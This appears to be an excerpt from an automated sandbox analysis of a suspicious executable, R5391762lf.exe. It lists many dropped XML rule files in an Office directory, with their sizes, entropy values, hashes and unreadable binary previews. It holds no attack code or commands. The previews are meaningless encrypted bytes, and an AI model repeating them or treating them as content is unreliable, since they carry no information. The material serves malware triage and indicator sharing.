Preview:	<?xml...{l.O$..!....1.h..PI..Uy.)y."...4.7..SB0.In....].C\..]..sj..e+..Bw.....).Qo....>..j}.%...r..[....../.J......#...;...!]..[.m.....i..u.V...Lh..[(.F].U;..j.R.IL1.q\|....<.......6..x<.[r.h.FV....&.p......E.x...I6.yl....H,.';...g...C.z....w.1...W..z-2A...._.QcBV..k<..s.r........I.RuJ.........k....../.2.`......c%.y..{P.o.!.>d%(q.ku.1..a..S.,Y..h...w....A.Q8WA.w..H...w..i}..VS=.......Mp?.]..WuK.....`8.......&.bC.d1+IV.S......7V..)a....mN...X......f..eq...S.@e.Gc..sX..`.......%..z..r..E..../..FN8...f....I..h..du....B...RD."t.`....;...I..f].cnF.#S.!........?...`...A.....p)$..s....<...5..{8~.6^.ct.(.Y.s\|../.M.m9=.@..k..L..?.}..Y..+.n+eC..%.m-...Y%k..n.o.&........E.;T._.&%.<...u.&)..."..C.q..k.O.....Q.m...\.........IM.Q.....`...D..Y2...nIc..c.....OQ<W......n......1...v.<#g1L...R.}..dqk./..w........l.P........+..2I..r...2....PQ.Z.bG,.c.B.~..@.....4.-..@..';..Y."p......G.~.5z..'..G.n?....~....<aT...xj..$.I+.28b.......{.Y...#..

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701701v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1756
Entropy (8bit):	7.875581168954852
Encrypted:	false
SSDEEP:	48:ZPoFaAbH508TB3RYYbVrFHO5+NEvqX4XFuED:ZPBAj508TdR3rFu5lvqXeFuQ
MD5:	CA9E3048860AE85B96F0320D4291F0F3
SHA1:	C8967020D265BEF673464A021D35286CA995C71C
SHA-256:	E197759374A2CF6802DB63ADE9189244D4D53810BBB25428B7B5D9F9EA1A3886
SHA-512:	0480105CF8F02FFFB5B7F2BAAE7A5DCE7AB514BBA34EDF36160A8240221C056AA20F829D9BB0CAFC04DBE84661DAE90D6633218552E8190F0BC1E34B7046D456
Malicious:	false
Preview:	<?xml....]..^_9....,`.6.....JQP.N)....1n..F.....<``Z1nGh.."Vt.."L....a.!.\\..D..o}..N............jA. `..Q....F6(Y=.kp..-m.~..r...).$..v......jH....Q>.A./_d.R....\|.h]...\.K...].c.......Q.UZ......A.k..xm.b...xl3..jUFU....&)3=W..:\._...^.%e...0=H..N...6.ZXP...w.r.d.c`......P..........3.Q..cU...!]..;.k.l .!F.L..5..V.+.....{...dK@V[t.fJ}F`..u..]W Z.a........{.m}t....n.d...T. ..;.0.O5...p.qoUL.~.+...q4p..jN....0}..\.......+.........9..,. l+CQd\.i..E...>.v..V..Zi....2DYR....C...W.0.B..7.@.....0o.T.H..Y...f}.....7.8.y.q......k.bL..l...v.mw7...&:..H7..+..fE..zE.t.E........}......'....}H.Q.{.Ye..kfA.@i.qZ.L.Q.....oIO....[..].W.)..@...B.......H....G.d../`A.f(<...fI..&n.........B.o...\ 3gE...o...%H3...>..,A\....&.s..\|s9o..kd....>..b[2..Qg.D.B....SC.ER..\3.o..8..W...o.N&LN.'.n0T...<..s..4.}....;.+..e4.U...u3..u.?.f6.{L...g.G;...........R....T{.....}.~..S:D...)d._UVS. 7Bw.v2.u.B...._..9Z..+(..{...Q..4..BO..=.x.]<...y....?t.....v~...o.,...I.+..........

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701750v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.863689999951294
Encrypted:	false
SSDEEP:	24:oRUMUoB3GzIZtCKLKvFxeAlQlLNUlOMAqospeLhnr8lK0uqzXq8uWbD:otB+IHCi25ewOMOLhcxjzXFuED
MD5:	2922D782539BDAD07C6E754DDB401D99
SHA1:	D8557E3DBC9C2D1C2F1F4FEE1B1AA61461387E72
SHA-256:	373423B074418E340E2DD6E0E76D86CD0A75C90EF56AE6A4EB1A5D3C77322026
SHA-512:	749FD157349AD21CFA439721ABE3101850405726F882168747AB13E1F07E8069E40FF746E14A90599700EB99D6195BD6CF641860DA667ED325CC7EF82AA63EF2
Malicious:	false
Preview:	<?xml`s.#..... 7...........IS8....W.z.J.c.....%=..^..WC.].lPN...s...G...9.g7.....:.}.%j......vl.v...F..7...<...S....O....JgD...../...,.j.^^....k.Bw..n......=..v. ..6.Z..e.1.).....@..M8.N.D..3W.gn..2.....* ....VN.F.B.l...fj...L_%i.g..W0../.o...U..f)a..~FQ...s.L+1.Y...zHQ...kb..E#.7....=.#=Wrh;.KO.r.k..i5M....%.......q.....V64.....8L..uFw! ...D.)t].....zDkjO.=t.<.+24r..hr...BS]B.UUn...`..21........c.....d/..C.8..x...6x\C..q(.....!.V..?~}......i.T.C.H.;...-v.%..A!..5...a.~...-n....18N..5_#...I.?w.=.....)....QqMx!.`\|.l`....Sa..:8.....E.....r...~....4..\|K,.5],.....P..........F.....2..l.[...o.\J....R].[.M..ys...J,~..c.......L.~S...Q.rnk..j....B.....-.>....C?.'1..&.O.q..5...c.$.m..g..4..H.W....+.F..........zo.lu..(...V;.._.S.....~...`]v.pYwF=..D.Z.$Xp......>4_..>.U..WA+..fUN.2v....j=K~&....M..T`.. L."P.. ...m......T.Y^.c7.3+..A...u..dw~..7.....;0d.)..5K.z.....m..4..d,w$.$..v..}...Tf.<.#.........<.....0......fu\.e..].9..=.p..(..5.S..W..F..De.@W.07..

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701751v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.881483393509741
Encrypted:	false
SSDEEP:	48:9WIzYAHqKGRh4aPyZVMlCv2OkJzPPnehvNCaYe9o9XFuED:91pEh4aYm0v2PJ7PAv0FxFFuQ
MD5:	EF5B4C51735A3B85094531131C7A32C8
SHA1:	246733C64766C88210F96B2D894BCC0442E22CA4
SHA-256:	77449848E0C66EE381A2E308CCA8D7CF039304691E4FAF4E5DB683D668E7D244
SHA-512:	DF05DD9BE173675879A4D34F555CBF58B8700980A5F239DEF5BF432BB156D08D087DB22F46AD45959437ADB0F38CB4848F2F965BBE4904EBCEE8FA39AEC9D900
Malicious:	false
Preview:	<?xml.....'.....'.....Oa"........2.ab.#'.,i....}.....YO.}....A....s.!..U.bQ...}/!6.!.n...$V..^).!.o<..n..cD./..j).m.7j....#..E...ze...!P.-.......]...qwr,gO..I"..t..a.....+4.....L.q... .......D.-.(..H_J..b....un.z\m=....c..>4.../u...9l...U....O"%[l.....JW.V.:EE~X..Q.}.Q..G...S.....nj)._....`!.....P...g."5..^.A.%Ol.+...L...f.>r.48n..-...I.. ..jG...N.TM.....ICo....e"L..N.......\.....D^....O~....Q......u.4...XA/.<..N.8..&.lZ..W...A.h.w4.5.........D.n..Z........`2y...z.4.N.pT#0.^.;...4=....;E.....#.&..3..Lr.5;.VkC...W....\|pQ//.v....G..T...EV.........0.....Ha.k.Y2YL(.........NU.+....#.^ ..s.<..}.X.<D.\.3lD....x.[.q^.tg. .`.J&d.....?.0l.\.J^...u].&..................Lr.z...#_.N..\.BJ...)\U..tw..-JX;.e .k.......>u.\...#:..........U.......(."MHTU;.F..!.HI..lMz....S.3....eZ.%;.8fd.........6.....?.G.....~.Uc.pjiz.......2....D..+E..0...A.. r.....X. ...N.d,E...1g.x6.kQ....!.h..-oFa:.K.5.dju...i.....(...W..;...A.....\|.Y^o.?.....W}I.e......&.`j

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701800v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.874783212274874
Encrypted:	false
SSDEEP:	48:Cg7BxEPsqUpPsXGnFoylYFBFmM9o9dWLpON8JQLSXFuED:Cg7UqaXgW9lmcoYmkFuQ
MD5:	1AF2E076D88165763E7683AC62F759B6
SHA1:	8E6CB1F954CD5E42ACC7B8CD648FE7947706F785
SHA-256:	DBE87C418B6B104D933F850C2C692EC4376C2594241A2EDF14437E743B5365C0
SHA-512:	5B2C004473F2C31BD04B6547DBC5A91FFFD0ED6808A5BB1DB900526E5E248DBFAEAAA2337A29CB08309ADA12BEC547B2E62ED90207C42FCB02B111FF296E3FC7
Malicious:	false
Preview:	<?xml.#.j..F@..7.7..R.[.`......_....~.d_x.@...Ch......d_...l.$F..$Y.L.N.D.>....7v.1.@.A.......P.....m....V.h.9..N.k...8.DB....V..U...8h..[.x.]7"...\3.^$.U.^.K..^..^.XE.\V.M".v...v.7.........'.8(..e.xd....]d....X..&....;I.'Thj..{..'.n..!b......g..<..U.&..?B.......>\|.L..g...9".Ew......s..G3..T..F.."~q{.Y...Op.4:..O~T....Jz..~Y.L.s....v...G.....<r..VDE:B\bP......1]..p.M.q.9~...~...["...<K.....\.2...\|%.........t.l>[.Fe-.4*......6...Tf.....n..'CW ...r:)[.G......m...%.d...a.],..nL......).+.;....._.4..x....7~..N...e..4".E...<..8.(2(..p.D......v....!...d`.5?...`jtt._.bP...^T..I....c..'....0.E..x.&.....+...l.b9j.\.'=....u..aD....S..l..b.M&M.,).S[.s.$..l.l.......t.N"...2....m.x....Qe..d.....V.\.JE....F\.......5.0w.R_....q.{.m....\|...h.._.....Y.mr..a(...}/uI.Y.g....9Ga.-....1U...{.OC:..>..1.....D. ^k..).J..ztwfX..?.z.E.n...mTqJ...v......'....!.Te..A+...6%@'.Hs.....au......!.s.....N<.RTl&%.s......w.H..R.s.sU1 U..m../a.g.4Mv.....#xr...P...n...D....q

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701801v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.899926248953125
Encrypted:	false
SSDEEP:	48:MqrLcXEnY5KcSGQR/p6tD+JcBX2OXmlTAZgiST8jd2KooXFuED:ENKcSGqh6wJa2OkTPx02TOFuQ
MD5:	ADE7D24642D2A19364A5971D03AF7A8A
SHA1:	0B9C2AB5612ABED3A03B371DE6626E98BC05CD3C
SHA-256:	5B0177FAF831255C30E77B950B90E1EA67B344C4F4608D7F320B80D974CD31B3
SHA-512:	EA9CA245A4EC0AD27F45565EF170EC0C44B1D93D64C984758CD627E726C5026AAD64943F69B20D4E09AB924D0B91F7AD3033B8186C2F2A2E48C3F5EEE19F17E1
Malicious:	false
Preview:	<?xml.5z..I1.b.u.... ..wD+..7...;.0..B.V..M2G....z\|._nm...).8.Z...>W8{...}.6@......4...J..UR...o......,.3.\e.-..YI.}V.p..?.35\|..Q'u..g.Q.v/+.....3(...1M7'[.CH+.K.5_..T....#.q. .SW.r.....q..j.e4.0_.Me......l..i5..t..H.......f..1...%.1f..\|...D.V.[..E.?.LQ.}t.......O..2.g.hP1..y..#^..G...8f....zi.I.$h.o.........BF.O$P.A...ROB.}s_`.j....C.,.gv..W....U.l<..mt.FP..`* %v[C{.=6.....`.g...mM.......X..}GN.s.R..........\|..!x.P..2m....x.J..U....rU.^A..@R....QBCQII0 ...Cv.....BF.8......j.v5G.?@.9..b..]......l.0......X..S.X.H..~ .,.l...&s..d...Z....pDK...e&...0Ly....`.f..1@-\|.Q..3@....3.....-.....?..l3......~.w.......x........;.y..K.{..h<u.~'R.).zdHie.(....ghu.ug.....X.,2.....K..o...`.U...=uG....x}......_D....W...S....#,.....\|..0.]w.`x%..]+..1./.D..jPZz)......p..:a...... .\.`.+?..n.._.98.%........$..].'P....F.."<... 0....y.x$p.....YCP..\............N+z.B.].a+!..;Ix...&..Sq..?..^...R/D.s.~.'L1r.X5........Mn..] .z...F.r(z.U."....g./.n.6.x.&.....'e'.....7.f

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701850v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1704
Entropy (8bit):	7.876438728146597
Encrypted:	false
SSDEEP:	48:V8quFJo/nRdspCDI6JwE6wJYu8HEajU1/6Kb9XFuED:ViJors5EFJS8DFFuQ
MD5:	1024B04076ECD0BEDACE764D056A6395
SHA1:	9CD50CDE587CC4A7199EF0BF926BA19FD2E1761A
SHA-256:	47E181D672B29DFD6E20B48E022480159FA2F3F6123CE0E343779165383470F9
SHA-512:	B263E008CA3E806AF1392EBEF72009789411B243AB6D9E261E8B9B9E0436B6FEF70AC326C24BE8BC714377526B3AB4153346FB66807638C92EC94BBF2CB0635B
Malicious:	false
Preview:	<?xml&.K.].7..\|(..G..d..Y..^.x..(v....S...V....5.Z.[.!.........].;.?................8.!2.......iO.H..../...q@...h+?...+v.....W...O..&...3.'.VZ..zU?=.......Au....C\|...p6n.5~..S!%..>5.0f.$4....$2&..E.}....$.n..~x.L.....%;..%.$...B..&..E.x...#9...%...@U.l......v.I....<qM.....z.F:r"....^..o(..6...o.2j...DY....%?C.sq%..X.......9..q..L.....{\'R.........R....U.m.PEF4a...Hz.....o...ZX. O;`....q.....b..G.ALX.T..H.@.]...&.U@... .{.!.GX.1..i\A..P/....a.....M.......\|q..1t...`.;a-.P......y.......j"R.A<......g..Ih.P.B9.].j..<v2F.?.X..1.........]6......W](q.....x...i^..}.K~_.n^....;..mEC.i..../....M..p...y..`.b._K.-.`9+f6.!.k.....P.......k.f.4.....(.M.V3{...@.G..\|..D.Z&.(....mBSI9.(.kS.S.S..l..a.e..B.L..L>...Ob..F2....-3h.41c[.M.ZG...d.A+K.!TR..0..'.....C......Y..>..Q..az....y.Z.].......5..FU5V..G9;..z.d./@....t..'+9..h:.T#"P].W#2....;lI...........N...ux+M.......w\|:...Z....I.F..].5...o...F..AWf...R.]...YVG...z..*#.u.uV{..Y........zt.

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701851v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1741
Entropy (8bit):	7.885844667919345
Encrypted:	false
SSDEEP:	48:0iFMXUToajo1iNRB67XcpArITIyeydMeXFuED:2XfabN/qcArIkMdM8FuQ
MD5:	E6BE341D974A4148FF092CBFAFE56DE0
SHA1:	1B445E4F32C6D638BAACF97A629F507F6E4D5E04
SHA-256:	D4C967AFD143B182986F3A1E1026EB4C71A9AB88645E8C78078054E1B25D3078
SHA-512:	AD31DA9316B9183E2795101BB79181A059A3DB42379CD52151A64DAF9F468E6F04A8A51D50AD042D0582124CF9635086FF15C24FA83801C4241D67F5DE62AF4F
Malicious:	false
Preview:	<?xmlc\|4:N..`.8...]N.[=..gQmtG....=M.1#.F.'O..#.uU\|.....r 2+..:.+.G..o.t....,!.O.Hj+.......K.4.....i.d.\|....-.3...j:h?.F'.0Q.=.1.$.5&...[..6......._.?_.....K.H..%e....I..E...v.....'^.m.[.......W....55?.....G...Qd.k.X....&.......g..d%.^.H..GT..f....<.Q._<.P..<.."...-..c.wa..T.m...ZR.VZ.kK......;....{%.5.U../.8R....sZ. .>.......p.v1w..w..J....B.......?..C.#7B....v.n}.>........n..h..{.....4<..~.NV..7...4..aA).^.7pV.R.@:q.\~}....pu.\...$..J.5`.....:..,...`...}U/...h.U....R.t=.14.*...,z..m.....F.d.i.&3....Dc...\|Ia(......T...5..U.j)w.R..v. ...bXt.).....hf.v.Q......Z...^..N+.Y...p.Q.y.\|0D..y.G1..........!.z....aR.\|:Q..g6e..y6.qb..[..........I...f....`.f.J...x..5......L.Y...l.}..._i..{XQ...xv.{...i.B.T.g'tN.......~S.b.n.........!....$..".M.QN...._..:.gDT[....u.y..gL7=..v++.`.\.K.#H..`...v../J.VK.F....t...+R.M$..,.z..T+B..6...m..&.gt...6..!...3'.pl..c....9i\X...+..D.!....tyl.8..$.....h....6....D.d./..h....)w..QQw..Y..Ia......N..Q].....O.F.

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701900v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1703
Entropy (8bit):	7.88050764421929
Encrypted:	false
SSDEEP:	48:2+6syOhIj5upGQmJRz5SLsSaKNKhXFuED:esyFZSEhFuQ
MD5:	860D2CED823A3B85FB154AC716DD3482
SHA1:	A3408C73C3E65C1887435668684F4CDD2870D837
SHA-256:	885F5CA080E361177899F0ABBA84F641E664447C3B688FCE04198D0EF57E7652
SHA-512:	A6114E81BCF7635389F725807D135920CB148C65031C76F2988CFD7031774DB65F1AAAA8CF6F854A1A0070AA7E8498EEF779AF03DCE4023F1740798C495407C0
Malicious:	false
Preview:	<?xml..\|.v...RA..&,.7...Xs..e.R!..V..1:.G....D..b./$..@.6...o.%..5.(.`...a........s1..O..WbO7v..:Q.`..3.Z..+>^..........x..M...)..S:.uT.Jzf..:....g... .....Q..C....i.!$?.z\|dR._.,...`u0.T({Bu..[..0...?.>.....`3`B...<..../..kQv..pa-.....pM(...ID....y.....%.....>...'...N.L..z.........hV....\|....Ob...D....dB!....._^%.[.l..fH...\|jI&..xh...nUj......7o~.R.'.z...x...E......j.B...w.q......D...3Y62.Q^....."..^....y.t.+.,. .eJK....QMR.._..S>......m.u.[..9;.j..s.......v:.t.9nH>"A..Z...k......fs._u7.BY..q..{..\|..t....t)j@.I.....W....9....j.c."..\|....5.w.....x..5.!{..=G8"m.....x.N{.i.zHx....@...0.KG> .....E...g...t.g.R..<.g.1zwtB......Tog..5.)....4T.....5B......Q....S.. ...`...A.PEN2..u"...........:..`....yK.....L....79....:...8..VA...6...&..:...DH....Q.c..l..G...g.S..,../...w.t>.V...#.2...........>.../.....m.Z.#]..9....AY..R2...#(+<k...O>.....l..QR..n%.P.....i.%...C.RZ..o....j.\..#k..u....r..zfk.........F...". .J.._.0.\|.g.!N.:>..+h.#m.c*o.......m.4

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701901v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	7.88785922885781
Encrypted:	false
SSDEEP:	48:99Zw4RdWUxHy/bVzxZO0uV5X3x6kgu/lMXFuED:9E4WbZD1g93xLtqFuQ
MD5:	BD22410B28A003BF5BE267D3EF67AF0E
SHA1:	AC86DE8D556D83E70F2111C4952B9A107E1CC399
SHA-256:	9EC1CC1DA10A20006B253A8EFAF857BA7AC558E7A7FA043477B5B743203141F8
SHA-512:	D8882F428E747C701AFEF9C5C959EF5D3697E2831433E1A4DA20C1BF2F3BCC65537FF9BFAB9F0CE12540060EBE10FE0D37097DE839936809C06E57F4273DF2F3
Malicious:	false
Preview:	<?xml...7......C..[...2..g.vA.0S:y.KF.f.....r...}\|.l.>....h/..<rfmu...l...g?..Z5..s;@'...M.1.A...z....0Y.1..........(.>...3..R......}.......3Lf.Dv.t.f.d..a...O..........Dg..@5..............,FI.i....%.h.y.kb..........C.z.Le9.,r_2...?..{.CE....#U.....S./r.E?}.v....y.`..Q.#.=:..5..Y.....0.....Ys...$.U...2...XF.`.N.X..ZgJ[..D.0.......+.+.T...Ho..Tl.d.[U[ Bv<.....R(..=d#.UD3r.....p..y..9..c..-..I.....c.i.h.B.^...(C.N[.\`..i....H`.s........I.=w.B..t....N.}]/)..W..qx...C..vM.-..5..m.7....]5.C.{..S.v..gf..'-..C.+EF.{0L7.+.0....Q7..%.(..<....n. .f.....4.4...RX.V.........R.1(h.......T.P.e.@.........l.}*..jK.....fu....U.\F[.,Io$B....Z%...'.`...%...........I..h...v4p.0.8..E..Z...:........".U..J...E.Z..pw...yaIc .m.......4....\|.)e..-.....X.e..N......z....K..J@..hW. `"W.z....rNK5Q`-..0.I....>._.6....rE........H..V........k..;h..:.....F......Q2......s....;..ma.\....M..omQ.<.Z.gn.<.......Y...G..4.....jf..6.\|+Y...z1=.y:l.D..;2JR.P.t...q..

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701950v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1713
Entropy (8bit):	7.87774930985821
Encrypted:	false
SSDEEP:	48:TNJ0j0IkOrK0a5grDer5SulHPhut4sXzoXFuED:Tn0QIk+KjgXjgPe4ZFuQ
MD5:	51FDEB043721533CB15DF266D5CA1D54
SHA1:	BD468409BFF93B31983602934C9F9347B3A2F88D
SHA-256:	EC6496F80BAFD0A9F9A2C33F233EF750A2499E5C4958B183EBF118D01054AEC9
SHA-512:	447174ECF9CAD637B10C92CAB8D3C5D543F462F28B5EEA67D348C09B722EEDD139D783332243C34361C0992FD33328E333A5DEC030492312A44D0C267784EFF5
Malicious:	false
Preview:	<?xml30.M.>..M.J....,...'...c.(..L.f)p.@..&..qn.N..VW.k.?..Q1..Q...V...$r.)z.].........FNbb.........t{d.!&...iu>.#.fW>.....v.)`....9.!...U.}[..m.....:.$....+.\|..c5.A.Yi.......].D...J!m.....Y..Q........g..RG.. .Am.P.Q....$....>.,.2...H.......Q...[{..e..c3....x@.~...:%..8s.mx.,.......L.J...N=...Lf#.........?......gn.s./i=..v....%.i.DV`j.!.i..c...].M.[^~e.\..'T.....D......7.z....../}W....8.....?.It...S...'3o.....T.....)."R.C.......}C(....V.......5...H.y.>]..!....!.9r..0'..;7._P....z...A...........j...yC.&..\...x....jv!.0...A;p3.l..bF..k..x%....}?.~.y....@...b5(......G......\.=j=DB.a.....'n.c17a3.".i.I..cvc...."l.Xf.%.j.> F..0...y.$z@C..q.XAj....l....`b..}..j.P.t.]R.mu..J.....uk...g..:N.!...Y.1.R.Vu ]......_.tx....[.Ys...T..ToXl...5m++N.$..IeM^[..WB..x.....$.w.g..2..../).=R.+Q....9.L..+.z/=[i5M......Q..M.}...S........2Y.<.s...q...:....A..).......H.g'.xo...z.:.'R.H.yjys..mh<3^..xv_..L....k.{..m..~P%.V..L.Da.8.....Xc...'....<..1"=~.....r.

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701951v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1750
Entropy (8bit):	7.8585401854889545
Encrypted:	false
SSDEEP:	48:XgfzS3cB+Od0SmtVatiBKyBBRo0D4rL2Iz3iXFuED:H4Nmt+EtlVOCYYFuQ
MD5:	E1CC6EB45B17F7D776D2767F3F4E6562
SHA1:	E60840EFA5E03802B872AD4229FD3095E634C101
SHA-256:	13245D8CFE311836269CE9F20CCF56431CB4D790F21544CFE855039963E534DB
SHA-512:	23356743D2AD8613171FA8B134157AFE380F30471A9701E7165302052EC8A3AB5F0BCCB8FA8BF48E051DEA9CF88B8E139271117AA25C89F4BA86B73C36E6F5D4
Malicious:	false
Preview:	<?xmlA..c...].$..,t..~.G..M,..O.;..w...N.....5.k......^N...+%s.2......;..B....w..a8>.......N..]...^.../.b.n.0.....Co`8....v...V.g.i....?...8..=Feu.xN.4...k..GJs.0..].a.....u./KU.~..y.{Xl(..^...S.Ua...8..5..h.n@.....`...a1@.6X{8.....Cy.lr..K~.g.c.D...Onc.`6..r.)...WJ.m..c..'..d.1..).Jm>...l..nDk..Lg..$AF....1.lD.e.8.f...z4@a.1.._..a......V.i..&.U1...^.~...c.jV..N~.Mc.0b..4c....K....8....a.x.`....>R......H...p...h.D..S.-.&.p.z..N .G..........!5....K..&...b....<..K..:........B.9..E'p..'.m.d,X.]K..#C.x.<.}.k..G...=....F........E.r.(IkaT..9.c.Gx%.m..F.ho..G...\|f......z,.g....#..2.T-....z.jxR..SGO...K..Hy...3r.....a.....,G-.vV..[.`n.,%.P.x....4....m@R.E..wfk\|..:.....-.=G@......7c..8.l..#!.2.m..ba...FI...=/Re.kd...8....ji..Y.......r........Y..L`...,D...g.H....\|..z...}........b..E)....k..pa....Q A.Z...E.7..&.l]..>J...Er........z.ys.....;.....;....!....V..:.7.)...a.\|...J.....!5I\|h...w'?Be,y.G.p..qUOh.E}q.%z.tM...Om.p..p...(F......^...@...Q.

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702000v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.873448391363027
Encrypted:	false
SSDEEP:	48:gLOsYRVj6zxJ5Z0YXxcxSbjog+VMGasq/XFuED:gLOsz3lXxcxmQ0/FuQ
MD5:	1B2B399E2113204BA6C7E4058F765675
SHA1:	BEBEB315BA391147A777983686A02BBA2A6D08E1
SHA-256:	07BB292867A7343F42832C1F8053C2D216376EE222AF3E6EC10490D79B2AA703
SHA-512:	50E2260CFAD4B29D27DF4B8F389366B5673A1384A547472865FAB19F2F3EB2C005D79CD846D05F7742CE507A87A5B36F044F6D8B757A539C775C2BE95F474583
Malicious:	false
Preview:	<?xmlwNy....a...h..&.j].....g........9.B..z.............6..a..Q.O.k.B8....`...7.T..E.Q....9..y..x....A......R.H<.}G.$a$..Z....>...x,t\.N..:un{...B3...y..?..)_.~.{.-83>i....._B.X...{G...TUI.W.=Ul..j......D<$...`.I8.4.......<.....$.N.6_t.[..%^J6...u..9\M.~..>....U.aSA.....R......\|.......IL....E...p..v8.y.h.g.U.........1..;yPj..AzT..pJN.J_.....n.."i~}/.kE.'A(E.}H.{./..A.'..p~s.QR0>.h+.....'...Z....9.#......m2C..&h.).IT$...v..".[.......ii...{...N"..T:...B.=C......l...g.Z...a.w...~0.t!.V.q4.G....4.^....`CL".{.n.;..] T._....<j...Q<.k/O.,..z.k......?...c..y.....p...Ix...k.=.-.......f:...[IB.@..V;.,\G0..8.J..B.`?U....N....A$.5p-.Yf...p.Ku.4.....5....!0..\|........"..{ujFV....w.jV...)V...{X....o.j..=?.0...eIb.....C..0.!..Ad.k.n.n.....<\.e.YP......f..k.`.?.....P.eAo.~2......{>..u.....5.HNZ.eO>+..^q.......e....!t.Z...U...@..3B.n..@..4...X....I.e.%w#.........L@..g./.c.....\.....Z<t.a...d3.u...z..W..H...u.5Sp..I...IxKWj.V.\.u.6m.M^,$.$q.7.7..\|.aW..l8..

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702001v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.904799128314468
Encrypted:	false
SSDEEP:	48:D4/RYQiPP/S5hiTQoMcUiu4JrINJkJmYi+nvBXFuED:8ZYV/IKPJS8ViIFuQ
MD5:	6C48161FD5EE28C848A8791C923D156E
SHA1:	BF3A8A6C1B87405FEC9393DB89659AFFDFABE986
SHA-256:	AE576354F6193857723313952694697B1DC8D69199DDCAE5F0C12DC724CC9741
SHA-512:	405A3C7652D5D1A71E5295B14843EFBBA6FC4AA61C9DE2C9D6DB331DFBBEED092012E93F5A52299E7CD21ABC02753FEA1BBDE6D8D1AF8C2BFB04E61379F8E77A
Malicious:	false
Preview:	<?xmlbt..i~X.H.....@m...mU..'.Zt5>qM..a...).....km.....k....Lc.&...\}C......U.ef.4.\|.{)....h...G%...$...:.}z'....f.T..l..K.J/...[n.>....g....1K.G.u."fI..A........F.G....Pp-.aZ`.].3..s..r.O..\j.9.L.Iu.o......Z"...p.....1!P.FSr.....}<.....Cl.O.......W.!.8I.......x9.W...LEN\|.~.....S....C..X....+..7.K'V....D..N...C.........i.\....].!...Yx.R..4.......2.3w..kr.......M.H.d....d..(YD".N.D..\..i.n.3....%.-.c\|.g.....f;..+..=.@.().....v_....yG.z&Nn.K.X..k..4..R........Q.Bc..e.l..[>2...a....B_.#........,.6.v.#poh.s.A....}m\|..yf...M....sf....x...g4...x+....d...?C..5....gn.....D6...Va........C...x.....[.8....3.\|. ..8f-W.....Z*./..eh..?iG+L 4!9.bN$.....fH[@._E..1&.)...2}=X...z\|.pO...(qs.-.-.4..c..,..a?.\|.<e....`/bwlenb.W...).y.d%...W~KP.E.....y.{.\..f3._..2$._.Q..W..m.V.#.2}-.{....Y.8.....T."..8..o..N...o.fs.MV;.z...I.....3...p..E/......".M..y..[I.Tl5.gE.....d..^..f..=._........D]...%...&.u.V..F..T..p..........#..4..`t...tU......R....5..b.......

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702050v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.867507735509443
Encrypted:	false
SSDEEP:	48:I1x5RUP1uuOy95xwLUQKvpc2IOPg0WvUz0SITzxXFuED:Il3uPHXd40WPS+xFuQ
MD5:	3E0E9050B7B255164EBEE1E902F4D5DD
SHA1:	A8F57DDD6FFFE4463DFD6F35638AC504CBB7BF41
SHA-256:	D299412D9BA9129B4BF248F99B6288FC60E8C228B98C80FFA3027AB2C4B37ACB
SHA-512:	DF760B114C4D0604A4D77E264173EDF22BE4D395DA7C5B761D864C518454356DD6E7F1E7D31F1E6ABAB8EEE73182531B0A1D2EFB34A70261DBD4E903C0827542
Malicious:	false
